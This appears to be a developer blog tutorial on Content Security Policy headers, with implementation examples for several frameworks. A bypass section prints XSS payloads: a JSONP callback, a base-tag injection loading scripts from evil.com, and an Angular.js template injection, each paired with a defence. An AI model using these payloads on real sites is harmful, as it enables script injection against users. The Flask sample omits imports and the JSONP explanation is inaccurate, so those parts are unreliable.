Content Security Policy (CSP) is a browser security mechanism that controls which resources a web page is allowed to load. By declaring a policy via HTTP header, you tell the browser exactly which scripts, styles, images, fonts, and connections are permitted. Anything not explicitly allowed is blocked.

CSP is one of the most effective defenses against Cross-Site Scripting (XSS) and data injection attacks.

How CSP Works

CSP is delivered as an HTTP response header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

When the browser receives this header, it enforces the policy for the entire page. If a script tries to load from an unauthorized origin, the browser blocks it and logs a violation.

Key Directives

DirectiveControls
default-srcFallback for all resource types
script-srcJavaScript sources
style-srcCSS sources
img-srcImage sources
connect-srcXHR, fetch, WebSocket destinations
font-srcFont file sources
frame-srcIframe sources
media-srcAudio and video sources
object-srcPlugin sources (Flash, Java)
base-uriAllowed <base> URLs
form-actionForm submission targets
frame-ancestorsWho can embed this page (replaces X-Frame-Options)

Example Policies

Strict policy — only allow resources from the same origin:

Content-Security-Policy: default-src 'self'

Allow a CDN for scripts and styles:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' https://cdn.example.com

Allow inline styles but not inline scripts:

Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'

Nonces vs Hashes

Instead of allowing 'unsafe-inline' (which defeats much of CSP’s purpose), use nonces or hashes to authorize specific inline scripts:

Nonce approach — generate a random value per request:

Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">
  // This script is allowed because the nonce matches
</script>

Hash approach — allow a specific script by its SHA-256 hash:

Content-Security-Policy: script-src 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='

Nonces are generally preferred because they don’t require recomputing hashes when script content changes.

Report-Only Mode

Test a policy without enforcing it:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports

The browser logs violations but doesn’t block anything. This lets you identify what would break before deploying the policy.

Common Mistakes

  • Using 'unsafe-inline' for scripts — this allows any inline script, including injected XSS payloads. Use nonces or hashes instead.
  • Using 'unsafe-eval' — allows eval(), Function(), and other dynamic code execution. Avoid unless absolutely necessary.
  • Overly broad wildcardsscript-src * or script-src *.googleapis.com may include domains that host user-controlled content, creating bypass vectors.
  • Forgetting default-src — if you don’t set a fallback, undeclared resource types have no restrictions.
  • Not using object-src 'none' — Flash and other plugins are legacy attack vectors. Block them explicitly.

A Starter Policy

A reasonable starting point for most sites:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

Then tighten it by removing 'unsafe-inline' for styles and adding nonces for any inline scripts.

For deeper analysis of CSP headers — parsing, finding bypasses, and scoring policies at scale — see my csp-toolkit post and the csp-toolkit library.

Real-World Implementation Examples

Let me show you how to actually implement CSP in different frameworks, because the theory only gets you so far.

Python/Flask Implementation

from flask import Flask, render_template
import secrets

app = Flask(__name__)

def generate_nonce():
    return secrets.token_urlsafe(16)

@app.before_request
def add_csp_header():
    nonce = generate_nonce()
    g.csp_nonce = nonce
    
    csp_policy = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}'; "
        f"style-src 'self' 'unsafe-inline'; "
        f"img-src 'self' data: https:; "
        f"font-src 'self'; "
        f"object-src 'none'; "
        f"frame-ancestors 'none'"
    )
    
    @after_this_request
    def add_header(response):
        response.headers['Content-Security-Policy'] = csp_policy
        return response

@app.route('/')
def index():
    return render_template('index.html', csp_nonce=g.csp_nonce)
<!-- Template with nonce -->
<script nonce="{{ csp_nonce }}">
    // This script is allowed
    console.log('CSP is working!');
</script>

Node.js/Express Implementation

const express = require('express');
const crypto = require('crypto');
const app = express();

// CSP middleware
app.use((req, res, next) => {
    const nonce = crypto.randomBytes(16).toString('base64');
    res.locals.cspNonce = nonce;
    
    const csp = [
        "default-src 'self'",
        `script-src 'self' 'nonce-${nonce}'`,
        "style-src 'self' 'unsafe-inline'",
        "img-src 'self' data: https:",
        "font-src 'self'",
        "object-src 'none'",
        "frame-ancestors 'none'"
    ].join('; ');
    
    res.setHeader('Content-Security-Policy', csp);
    next();
});

app.get('/', (req, res) => {
    res.send(`
        <html>
        <head>
            <script nonce="${res.locals.cspNonce}">
                console.log('Protected by CSP');
            </script>
        </head>
        <body>CSP Demo</body>
        </html>
    `);
});

WordPress/PHP Implementation

function add_csp_header() {
    $nonce = base64_encode(random_bytes(16));
    
    $csp_policy = sprintf(
        "default-src 'self'; script-src 'self' 'nonce-%s'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; object-src 'none'; frame-ancestors 'none'",
        $nonce
    );
    
    header("Content-Security-Policy: $csp_policy");
    
    // Make nonce available to templates
    global $csp_nonce;
    $csp_nonce = $nonce;
}
add_action('init', 'add_csp_header');

// In templates
echo "<script nonce='$csp_nonce'>console.log('CSP protected');</script>";

Advanced CSP Techniques

Strict CSP for Modern Applications

For SPAs and modern web apps, you can use a much stricter policy:

Content-Security-Policy: 
  script-src 'nonce-{random}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';

The 'strict-dynamic' directive allows nonce-authorized scripts to load additional scripts, perfect for modern bundlers and dynamic imports.

CSP for API Endpoints

Even your APIs should have CSP headers to prevent data injection:

Content-Security-Policy: default-src 'none'; frame-ancestors 'none';

This blocks everything except the response data itself.

Handling Third-Party Scripts

Real applications need analytics, ads, and other third-party scripts. Here’s how to handle them safely:

# Allowlist approach for third parties
TRUSTED_SCRIPT_SOURCES = [
    'https://www.google-analytics.com',
    'https://www.googletagmanager.com',
    'https://js.stripe.com'
]

csp_policy = (
    f"default-src 'self'; "
    f"script-src 'self' 'nonce-{nonce}' {' '.join(TRUSTED_SCRIPT_SOURCES)}; "
    f"connect-src 'self' https://api.stripe.com; "
    f"frame-src https://js.stripe.com"
)

CSP Bypass Techniques (And How to Prevent Them)

Understanding how attackers bypass CSP helps you write better policies.

JSONP Bypasses

If you allow 'unsafe-eval' or certain domains, attackers can use JSONP:

<!-- Attacker payload -->
<script src="https://trusted-api.com/callback?callback=alert"></script>

Prevention: Never use 'unsafe-eval' and carefully vet allowed script domains.

Base Tag Injection

If you don’t set base-uri, attackers can inject base tags to redirect relative URLs:

<base href="https://evil.com/">
<script src="/malicious.js"></script> <!-- Loads from evil.com -->

Prevention: Always include base-uri 'self' in your policy.

Angular.js Bypasses

Older versions of Angular.js can be exploited if you allow 'unsafe-eval':

<div ng-app ng-csp>
  {{$on.constructor('alert(1)')()}}
</div>

Prevention: Update Angular.js and never use 'unsafe-eval'.

CSP Monitoring and Reporting

Setting up proper reporting helps you catch both violations and attacks.

Report Collection Endpoint

from flask import Flask, request
import json
import logging

app = Flask(__name__)

@app.route('/csp-report', methods=['POST'])
def csp_report():
    try:
        report = request.get_json()
        
        # Log the violation
        logging.warning(f"CSP Violation: {json.dumps(report)}")
        
        # Check for potential attacks
        violated_directive = report.get('csp-report', {}).get('violated-directive', '')
        if 'script-src' in violated_directive:
            # Potential XSS attempt
            logging.error(f"Possible XSS attempt: {report}")
            
        return '', 204
    except Exception as e:
        logging.error(f"CSP report processing error: {e}")
        return '', 400

Report-Only Testing

Before deploying strict CSP, test with report-only mode:

# Phase 1: Report-only mode
csp_policy_report = "default-src 'self'; script-src 'self'; report-uri /csp-report"
response.headers['Content-Security-Policy-Report-Only'] = csp_policy_report

# Phase 2: Enforce mode (after fixing violations)  
csp_policy_enforce = "default-src 'self'; script-src 'self'"
response.headers['Content-Security-Policy'] = csp_policy_enforce

Framework-Specific CSP Patterns

React Applications

// React with CSP nonces
function App({ cspNonce }) {
  useEffect(() => {
    // For inline scripts that need CSP nonce
    const script = document.createElement('script');
    script.nonce = cspNonce;
    script.textContent = `
      // Analytics or other necessary inline code
      console.log('React app with CSP');
    `;
    document.head.appendChild(script);
  }, [cspNonce]);

  return <div>CSP Protected React App</div>;
}

Vue.js Applications

// Vue.js CSP configuration
const app = createApp({
  mounted() {
    // Use CSP-safe patterns
    this.$nextTick(() => {
      // Avoid eval-based templates in production
      console.log('Vue with CSP');
    });
  }
});

// CSP-friendly Vue config
app.config.globalProperties.$cspNonce = window.cspNonce;

Progressive CSP Implementation

Don’t try to implement perfect CSP on day one. Here’s a realistic rollout strategy:

Week 1: Baseline Policy

Content-Security-Policy-Report-Only: default-src 'self' 'unsafe-inline' 'unsafe-eval'; report-uri /csp-report

Week 2: Remove unsafe-eval

Content-Security-Policy-Report-Only: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; report-uri /csp-report

Week 3: Add nonces for scripts

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; report-uri /csp-report

Week 4: Enforce mode

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; object-src 'none'; frame-ancestors 'none'

Frequently Asked Questions

Does CSP really stop XSS attacks?

CSP is incredibly effective against XSS, but it’s not magic. A properly configured CSP with nonces or strict-dynamic can block most XSS payloads. However, CSP bypasses exist, especially with overly permissive policies. Think of CSP as a very strong safety net, not a complete solution.

Should I use nonces or hashes for inline scripts?

Nonces are usually better because you don’t have to recalculate hashes when scripts change. Hashes work well for static content that rarely changes. For dynamic applications, nonces are more practical.

Can CSP break my site’s functionality?

Yes, CSP can definitely break things if implemented too aggressively. Always start with report-only mode and monitor violations for at least a week before enforcing. Common breaking points include inline scripts, third-party widgets, and dynamic script loading.

How do I handle Google Analytics with CSP?

Add Google’s domains to your script-src and connect-src directives:

script-src 'self' https://www.google-analytics.com https://www.googletagmanager.com;
connect-src 'self' https://www.google-analytics.com;

What’s the difference between CSP and HTTPS?

HTTPS encrypts data in transit but doesn’t prevent malicious scripts from running. CSP controls which scripts can execute but doesn’t encrypt anything. You need both for comprehensive security.

Can I use CSP with a CDN?

Absolutely, but you’ll need to include your CDN domains in the appropriate directives. For example:

script-src 'self' https://cdn.jsdelivr.net; font-src 'self' https://fonts.googleapis.com;

🎯 XSS Prevention & CSP

🛠️ Hands-On Practice

🔐 Advanced Security

📚 Python Developers